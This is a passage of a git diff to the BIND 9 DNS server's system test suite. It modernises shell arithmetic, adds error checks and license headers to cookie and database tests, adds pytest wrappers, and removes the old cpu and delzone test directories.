 grep "; COOKIE:" dig.out.test$n.4 > /dev/null && ret=1
 grep 'A.10\.53\.0\.9' dig.out.test$n.4 > /dev/null || ret=1
@@ -336,7 +397,7 @@ grep 'A.10\.53\.0\.10' dig.out.test$n.4 > /dev/null || ret=1
 grep ";; TSIG PSEUDOSECTION:" dig.out.test$n.4 > /dev/null || ret=1
 
 #TCP
-$DIG $DIGOPTS @10.53.0.9 +tcp tld > dig.out.test$n.5
+$DIG $DIGOPTS @10.53.0.9 +tcp tld > dig.out.test$n.5 || ret=1
 grep "status: NOERROR" dig.out.test$n.5 > /dev/null || ret=1
 grep "$pat" dig.out.test$n.5 > /dev/null || ret=1
 grep 'A.10\.53\.0\.9' dig.out.test$n.5 > /dev/null || ret=1
@@ -365,35 +426,35 @@ grep 'A.10\.53\.0\.10' dig.out.test$n.8 > /dev/null && ret=1
 grep ";; TSIG PSEUDOSECTION:" dig.out.test$n.8 > /dev/null && ret=1
 
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that spoofed response is dropped when we have a server cookie ($n)"
 ret=0
 msg="missing expected cookie from"
 pat='10\.53\.0\.9 .*\[cookie=................................\] \[ttl'
 # prime EDNS COOKIE state
-$DIG $DIGOPTS @10.53.0.1 tld > dig.out.test$n.1
+$DIG $DIGOPTS @10.53.0.1 tld > dig.out.test$n.1 || ret=1
 grep "status: NOERROR" dig.out.test$n.1 > /dev/null || ret=1
 rndc_dumpdb ns1
 grep "$pat" ns1/named_dump.db.test$n > /dev/null || ret=1
 # spoofed response contains 10.53.0.10
 nextpart ns1/named.run >/dev/null
-$DIG $DIGOPTS @10.53.0.1 tcponly.tld > dig.out.test$n.2
+$DIG $DIGOPTS @10.53.0.1 tcponly.tld > dig.out.test$n.2 || ret=1
 wait_for_log 5 "$msg" ns1/named.run || ret=1
 grep "status: NOERROR" dig.out.test$n.2 > /dev/null || ret=1
 grep 'A.10\.53\.0\.9' dig.out.test$n.2 > /dev/null || ret=1
 grep 'A.10\.53\.0\.10' dig.out.test$n.2 > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that gracefully handle server disabling DNS COOKIE we have a server cookie ($n)"
 ret=0
 msg="missing expected cookie from"
 pat='10\.53\.0\.9 .*\[cookie=................................\] \[ttl'
 # prime EDNS COOKIE state
-$DIG $DIGOPTS @10.53.0.1 tld > dig.out.test$n.1
+$DIG $DIGOPTS @10.53.0.1 tld > dig.out.test$n.1 || ret=1
 grep "status: NOERROR" dig.out.test$n.1 > /dev/null || ret=1
 rndc_dumpdb ns1
 grep "$pat" ns1/named_dump.db.test$n > /dev/null || ret=1
@@ -405,20 +466,20 @@ grep "status: NOERROR" dig.out.test$n.2 > /dev/null || ret=1
 grep 'A.10\.53\.0\.9' dig.out.test$n.2 > /dev/null || ret=1
 grep 'A.10\.53\.0\.10' dig.out.test$n.2 > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that spoofed response with a TSIG is dropped when we have a server cookie ($n)"
 ret=0
 pat='10\.53\.0\.9 .*\[cookie=................................\] \[ttl'
 # prime EDNS COOKIE state
-$DIG $DIGOPTS @10.53.0.1 tld > dig.out.test$n.1
+$DIG $DIGOPTS @10.53.0.1 tld > dig.out.test$n.1 || ret=1
 grep "status: NOERROR" dig.out.test$n.1 > /dev/null || ret=1
 rndc_dumpdb ns1
 grep "$pat" ns1/named_dump.db.test$n > /dev/null || ret=1
 # spoofed response contains 10.53.0.10
 nextpart ns1/named.run >/dev/null
-$DIG $DIGOPTS @10.53.0.1 withtsig.tld > dig.out.test$n.2
+$DIG $DIGOPTS @10.53.0.1 withtsig.tld > dig.out.test$n.2 || ret=1
 grep "status: NOERROR" dig.out.test$n.2 > /dev/null || ret=1
 grep 'A.10\.53\.0\.9' dig.out.test$n.2 > /dev/null || ret=1
 grep 'A.10\.53\.0\.10' dig.out.test$n.2 > /dev/null && ret=1
@@ -426,7 +487,7 @@ nextpart ns1/named.run > named.run.test$n
 count=$(grep -c ') [0-9][0-9]* NOERROR 0' named.run.test$n)
 test $count -eq 1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 if $PYTHON -c '
 import dns.version, sys;
@@ -434,27 +495,27 @@ if dns.version.MAJOR > 1: sys.exit(0);
 if dns.version.MAJOR == 1 and dns.version.MINOR >= 16: sys.exit(0);
 sys.exit(1)'
 then
-  n=`expr $n + 1`
+  n=$((n + 1))
   echo_i "check that TSIG test server is correctly configured ($n)"
   ret=0
   pat="; COOKIE: ................................ (good)"
-  key=hmac-sha256:foo:aaaaaaaaaaaa
+  key="${DEFAULT_HMAC}:foo:aaaaaaaaaaaa"
   #UDP
-  $DIG $DIGOPTS @10.53.0.10 -y $key +notcp tsig. > dig.out.test$n.1
+  $DIG $DIGOPTS @10.53.0.10 -y $key +notcp tsig. > dig.out.test$n.1 || ret=1
   grep "status: NOERROR" dig.out.test$n.1 > /dev/null || ret=1
   grep "$pat" dig.out.test$n.1 > /dev/null || ret=1
   grep 'A.10\.53\.0\.9' dig.out.test$n.1 > /dev/null || ret=1
   grep 'A.10\.53\.0\.10' dig.out.test$n.1 > /dev/null && ret=1
   grep 'TSIG.*NOERROR' dig.out.test$n.1 > /dev/null || ret=1
 
-  $DIG $DIGOPTS @10.53.0.10 -y $key +notcp tcponly.tsig > dig.out.test$n.2
+  $DIG $DIGOPTS @10.53.0.10 -y $key +notcp tcponly.tsig > dig.out.test$n.2 || ret=1
   grep "status: NOERROR" dig.out.test$n.2 > /dev/null || ret=1
   grep "; COOKIE:" dig.out.test$n.2 > /dev/null && ret=1
   grep 'A.10\.53\.0\.9' dig.out.test$n.2 > /dev/null || ret=1
   grep 'A.10\.53\.0\.10' dig.out.test$n.2 > /dev/null  || ret=1
   grep 'TSIG.*NOERROR' dig.out.test$n.1 > /dev/null || ret=1
 
-  $DIG $DIGOPTS @10.53.0.10 -y $key +notcp nocookie.tsig > dig.out.test$n.3
+  $DIG $DIGOPTS @10.53.0.10 -y $key +notcp nocookie.tsig > dig.out.test$n.3 || ret=1
   grep "status: NOERROR" dig.out.test$n.3 > /dev/null || ret=1
   grep "; COOKIE:" dig.out.test$n.3 > /dev/null && ret=1
   grep 'A.10\.53\.0\.9' dig.out.test$n.3 > /dev/null || ret=1
@@ -462,21 +523,21 @@ then
   grep 'TSIG.*NOERROR' dig.out.test$n.1 > /dev/null || ret=1
 
   #TCP
-  $DIG $DIGOPTS @10.53.0.10 -y $key +tcp tsig. > dig.out.test$n.5
+  $DIG $DIGOPTS @10.53.0.10 -y $key +tcp tsig. > dig.out.test$n.5 || ret=1
   grep "status: NOERROR" dig.out.test$n.5 > /dev/null || ret=1
   grep "$pat" dig.out.test$n.5 > /dev/null || ret=1
   grep 'A.10\.53\.0\.9' dig.out.test$n.5 > /dev/null || ret=1
   grep 'A.10\.53\.0\.10' dig.out.test$n.5 > /dev/null && ret=1
   grep 'TSIG.*NOERROR' dig.out.test$n.1 > /dev/null || ret=1
 
-  $DIG $DIGOPTS @10.53.0.10 -y $key +tcp tcponly.tsig > dig.out.test$n.6
+  $DIG $DIGOPTS @10.53.0.10 -y $key +tcp tcponly.tsig > dig.out.test$n.6 || ret=1
   grep "status: NOERROR" dig.out.test$n.6 > /dev/null || ret=1
   grep "$pat" dig.out.test$n.6 > /dev/null || ret=1
   grep 'A.10\.53\.0\.9' dig.out.test$n.6 > /dev/null || ret=1
   grep 'A.10\.53\.0\.10' dig.out.test$n.6 > /dev/null && ret=1
   grep 'TSIG.*NOERROR' dig.out.test$n.1 > /dev/null || ret=1
 
-  $DIG $DIGOPTS @10.53.0.10 -y $key +tcp nocookie.tsig > dig.out.test$n.7
+  $DIG $DIGOPTS @10.53.0.10 -y $key +tcp nocookie.tsig > dig.out.test$n.7 || ret=1
   grep "status: NOERROR" dig.out.test$n.7 > /dev/null || ret=1
   grep "; COOKIE:" dig.out.test$n.7 > /dev/null && ret=1
   grep 'A.10\.53\.0\.9' dig.out.test$n.7 > /dev/null || ret=1
@@ -484,9 +545,9 @@ then
   grep 'TSIG.*NOERROR' dig.out.test$n.1 > /dev/null || ret=1
 
   if [ $ret != 0 ]; then echo_i "failed"; fi
-  status=`expr $status + $ret`
+  status=$((status + ret))
 
-  n=`expr $n + 1`
+  n=$((n + 1))
   echo_i "check that missing COOKIE with a valid TSIG signed response does not trigger TCP fallback ($n)"
   ret=0
   pat='10\.53\.0\.10 .*\[cookie=................................\] \[ttl'
@@ -505,7 +566,7 @@ then
   count=$(grep -c ') [0-9][0-9]* NOERROR 0' named.run.test$n)
   test $count -eq 2 || ret=1
   if [ $ret != 0 ]; then echo_i "failed"; fi
-  status=`expr $status + $ret`
+  status=$((status + ret))
 fi
 
 echo_i "exit status: $status"
diff --git a/bin/tests/system/cookie/tests_sh_cookie.py b/bin/tests/system/cookie/tests_sh_cookie.py
new file mode 100644
index 0000000000..2f1d029925
--- /dev/null
+++ b/bin/tests/system/cookie/tests_sh_cookie.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_cookie(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/cpu/clean.sh b/bin/tests/system/cpu/clean.sh
deleted file mode 100644
index 0a6c10bb75..0000000000
--- a/bin/tests/system/cpu/clean.sh
+++ /dev/null
@@ -1,15 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-set -e
-
-rm -f ps.out
-rm -f ns1/named.conf ns1/managed-keys.* ns1/named.run ns1/named.memstats
diff --git a/bin/tests/system/cpu/ns1/named.conf.in b/bin/tests/system/cpu/ns1/named.conf.in
deleted file mode 100644
index d152b2709d..0000000000
--- a/bin/tests/system/cpu/ns1/named.conf.in
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	query-source address 10.53.0.1;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-};
diff --git a/bin/tests/system/cpu/prereq.sh b/bin/tests/system/cpu/prereq.sh
deleted file mode 100644
index e9cae418d9..0000000000
--- a/bin/tests/system/cpu/prereq.sh
+++ /dev/null
@@ -1,35 +0,0 @@
-#!/bin/sh -e
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-set -e
-
-# shellcheck source=conf.sh
-. ../conf.sh
-
-case $(uname) in
-	Linux*)
-		;;
-	*)
-		echo_i "cpu test only runs on Linux"
-		exit 255
-		;;
-esac
-
-# TASKSET will be an empty string if no taskset program was found.
-TASKSET=$(command -v "taskset" || true)
-if ! test -x "$TASKSET" ; then
-	exit 255
-fi
-
-if ! $TASKSET fff0 true > /dev/null 2>&1; then
-        echo_i "taskset failed"
-        exit 255
-fi
diff --git a/bin/tests/system/cpu/setup.sh b/bin/tests/system/cpu/setup.sh
deleted file mode 100644
index 5d4286829d..0000000000
--- a/bin/tests/system/cpu/setup.sh
+++ /dev/null
@@ -1,19 +0,0 @@
-#!/bin/sh -e
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-# shellcheck source=conf.sh
-. ../conf.sh
-
-set -e
-
-$SHELL clean.sh
-
-copy_setports ns1/named.conf.in ns1/named.conf
diff --git a/bin/tests/system/cpu/tests.sh b/bin/tests/system/cpu/tests.sh
deleted file mode 100644
index 54cdb0abfc..0000000000
--- a/bin/tests/system/cpu/tests.sh
+++ /dev/null
@@ -1,46 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-# shellcheck source=conf.sh
-. ../conf.sh
-
-status=0
-n=0
-
-n=$((n+1))
-echo_i "stop server ($n)"
-ret=0
-$PERL ../stop.pl cpu ns1 || ret=1
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-n=$((n+1))
-echo_i "start server with taskset ($n)"
-ret=0
-start_server --noclean --taskset fff0 --restart --port "${PORT}" cpu ns1 || ret=1
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-n=$((n+1))
-echo_i "check ps output ($n)"
-ret=0
-ps -T -o pid,psr,time,comm -e > ps.out
-pid=$(cat ns1/named.pid)
-echo_i "pid=$pid"
-psr=$(awk -v pid="$pid" '$1 == pid && $4 == "isc-net-0000" {print $2}' < ps.out)
-echo_i "psr=$psr"
-# The next available cpu relative to the existing affinity mask is 4.
-test "$psr" -eq 4 || ret=1
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-echo_i "exit status: $status"
-[ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/custom-test-driver b/bin/tests/system/custom-test-driver
index e0371202c9..7499aa0bc0 100755
--- a/bin/tests/system/custom-test-driver
+++ b/bin/tests/system/custom-test-driver
@@ -1,10 +1,13 @@
-#! /bin/sh
+#!/bin/sh
+
 # test-driver - basic testsuite driver script.
 
-scriptversion=2020-05-12.10; # UTC
+scriptversion=2021-09-20.08; # UTC
 
 # Copyright (C) 2011-2020 Free Software Foundation, Inc.
 #
+# SPDX-License-Identifier: GPL-2.0-or-later WITH LicenseRef-Automake-exception-2.0
+#
 # This program is free software; you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
 # the Free Software Foundation; either version 2, or (at your option)
diff --git a/bin/tests/system/database/clean.sh b/bin/tests/system/database/clean.sh
index 1fe28f3ce2..f86404c1b2 100644
--- a/bin/tests/system/database/clean.sh
+++ b/bin/tests/system/database/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/database/ns1/named1.conf.in b/bin/tests/system/database/ns1/named1.conf.in
index 4d60860340..5fa7ce5ce4 100644
--- a/bin/tests/system/database/ns1/named1.conf.in
+++ b/bin/tests/system/database/ns1/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -13,7 +15,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/database/ns1/named2.conf.in b/bin/tests/system/database/ns1/named2.conf.in
index 3393548e81..80cfab28b8 100644
--- a/bin/tests/system/database/ns1/named2.conf.in
+++ b/bin/tests/system/database/ns1/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -13,7 +15,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/database/setup.sh b/bin/tests/system/database/setup.sh
index 0c15866125..f3f0088a23 100644
--- a/bin/tests/system/database/setup.sh
+++ b/bin/tests/system/database/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/database/tests.sh b/bin/tests/system/database/tests.sh
index f39dbf3500..408b094be0 100644
--- a/bin/tests/system/database/tests.sh
+++ b/bin/tests/system/database/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
@@ -25,9 +29,9 @@ echo_i "checking pre reload zone ($n)"
 ret=0
 $DIG $DIGOPTS soa database. @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep "hostmaster\.isc\.org" dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 copy_setports ns1/named2.conf.in ns1/named.conf
 $RNDCCMD reload 2>&1 >/dev/null
@@ -41,12 +45,12 @@ do
 	ret=0
 	$DIG $DIGOPTS soa database. @10.53.0.1 > dig.out.ns1.test$n || ret=1
 	grep "marka\.isc\.org" dig.out.ns1.test$n > /dev/null || ret=1
-	try=`expr $try + 1`
+	try=$((try + 1))
 	test $ret -eq 0 && break
 done
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/database/tests_sh_database.py b/bin/tests/system/database/tests_sh_database.py
new file mode 100644
index 0000000000..b48469e3fb
--- /dev/null
+++ b/bin/tests/system/database/tests_sh_database.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_database(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/delzone/clean.sh b/bin/tests/system/delzone/clean.sh
deleted file mode 100644
index f9fbe9405c..0000000000
--- a/bin/tests/system/delzone/clean.sh
+++ /dev/null
@@ -1,23 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-rm -f dig.out.*
-rm -f rndc.out*
-rm -f */named.memstats
-rm -f ns2/*.nzf
-rm -f ns2/*.nzd ns2/*nzd-lock
-rm -f ns2/core*
-rm -f ns2/inline.db.jbk
-rm -f ns2/inline.db.signed
-rm -f ns2/inlinesec.bk*
-rm -f ns*/named.lock
-rm -f ns2/nzf-*
-rm -f ns*/managed-keys.bind*
diff --git a/bin/tests/system/delzone/ns1/inlinesec.db b/bin/tests/system/delzone/ns1/inlinesec.db
deleted file mode 100644
index 5db7e024e3..0000000000
--- a/bin/tests/system/delzone/ns1/inlinesec.db
+++ /dev/null
@@ -1,24 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$ORIGIN inlinesec.example.
-$TTL 300	; 5 minutes
-@                       IN SOA	mname1. . (
-				1          ; serial
-				20         ; refresh (20 seconds)
-				20         ; retry (20 seconds)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-			NS	ns2
-ns2			A	10.53.0.2
-			MX	10 mail
-
-a			A	10.0.0.1
-mail			A	10.0.0.2
diff --git a/bin/tests/system/delzone/ns1/named.conf b/bin/tests/system/delzone/ns1/named.conf
deleted file mode 100644
index 8cbe61d0b4..0000000000
--- a/bin/tests/system/delzone/ns1/named.conf
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-controls { /* empty */ };
-
-options {
-	port 5300;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	allow-query { any; };
-	recursion no;
-	dnssec-validation no;
-};
-
-zone "." {
-	type hint;
-	file "../../common/root.hint";
-};
-
-zone "inlinesec.example" {
-	type primary;
-	file "inlinesec.db";
-};
diff --git a/bin/tests/system/delzone/ns2/added.db b/bin/tests/system/delzone/ns2/added.db
deleted file mode 100644
index 9b54d19204..0000000000
--- a/bin/tests/system/delzone/ns2/added.db
+++ /dev/null
@@ -1,24 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-;$ORIGIN added.example.
-$TTL 300	; 5 minutes
-@                       IN SOA	mname1. . (
-				1          ; serial
-				20         ; refresh (20 seconds)
-				20         ; retry (20 seconds)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-			NS	ns2
-ns2			A	10.53.0.2
-			MX	10 mail
-
-a			A	10.0.0.1
-mail			A	10.0.0.2
diff --git a/bin/tests/system/delzone/ns2/named.args b/bin/tests/system/delzone/ns2/named.args
deleted file mode 100644
index be9241ed54..0000000000
--- a/bin/tests/system/delzone/ns2/named.args
+++ /dev/null
@@ -1 +0,0 @@
--D delzone-ns2 -X named.lock -m record,size,mctx -c named.conf -g -U 4 -T maxcachesize=2097152
diff --git a/bin/tests/system/delzone/ns2/named.conf b/bin/tests/system/delzone/ns2/named.conf
deleted file mode 100644
index 708754c384..0000000000
--- a/bin/tests/system/delzone/ns2/named.conf
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	port 5300;
-	pid-file "named.pid";
-	listen-on { 10.53.0.2; };
-	listen-on-v6 { none; };
-	allow-query { any; };
-	recursion no;
-	dnssec-validation no;
-	allow-new-zones yes;
-};
-
-include "../../common/controls.conf";
-
-zone "." {
-	type hint;
-	file "../../common/root.hint";
-};
-
-zone "normal.example" {
-	type master;
-	file "normal.db";
-};
diff --git a/bin/tests/system/delzone/ns2/normal.db b/bin/tests/system/delzone/ns2/normal.db
deleted file mode 100644
index 50450928e9..0000000000
--- a/bin/tests/system/delzone/ns2/normal.db
+++ /dev/null
@@ -1,24 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$ORIGIN normal.example.
-$TTL 300	; 5 minutes
-@                       IN SOA	mname1. . (
-				1          ; serial
-				20         ; refresh (20 seconds)
-				20         ; retry (20 seconds)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-			NS	ns2
-ns2			A	10.53.0.2
-			MX	10 mail
-
-a			A	10.0.0.1
-mail			A	10.0.0.2
diff --git a/bin/tests/system/delzone/setup.sh b/bin/tests/system/delzone/setup.sh
deleted file mode 100644
index 9e800d29e4..0000000000
--- a/bin/tests/system/delzone/setup.sh
+++ /dev/null
@@ -1,14 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-. ../conf.sh
-
-$SHELL clean.sh
diff --git a/bin/tests/system/delzone/tests.sh b/bin/tests/system/delzone/tests.sh
deleted file mode 100755
index 73b098ca33..0000000000
--- a/bin/tests/system/delzone/tests.sh
+++ /dev/null
@@ -1,62 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-. ../conf.sh
-
-DIGOPTS="+tcp +nosea +nostat +nocmd +norec +noques +noauth +noadd +nostats +dnssec -p 5300"
-status=0
-n=0
-
-echo_i "checking normally loaded zone ($n)"
-ret=0
-$DIG $DIGOPTS @10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret=1
-grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
-grep '^a.normal.example' dig.out.ns2.$n > /dev/null || ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-if [ -x "$PYTHON" ]; then 
-echo_i "adding and deleting 20000 new zones ($n)"
-ret=0
-    time (
-        echo_i "adding"
-        $PYTHON << EOF
-import sys
-sys.path.insert(0, '../../../../bin/python')
-from isc import rndc
-r = rndc(('10.53.0.2', 9953), 'hmac-sha256', '1234abcd8765')
-for i in range(20000):
-    res = r.call('addzone z%d.example { type master; file "added.db"; };' % i)
-    if 'text' in res:
-        print ('I:n2:' + res['text'])
-EOF
-    )
-    time (
-        echo_i "deleting"
-        $PYTHON << EOF
-import sys
-sys.path.insert(0, '../../../../bin/python')
-from isc import rndc
-r = rndc(('10.53.0.2', 9953), 'hmac-sha256', '1234abcd8765')
-for i in range(20000):
-    res = r.call('delzone z%d.example' % i)
-    if 'text' in res:
-        print ('I:n2:' + res['text'])
-EOF
-    )
-    n=`expr $n + 1`
-    if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
-fi
-
-echo_i "exit status: $status"
-exit $status
diff --git a/bin/tests/system/dialup/clean.sh b/bin/tests/system/dialup/clean.sh
index 0ec62d5bce..9318255bfa 100644
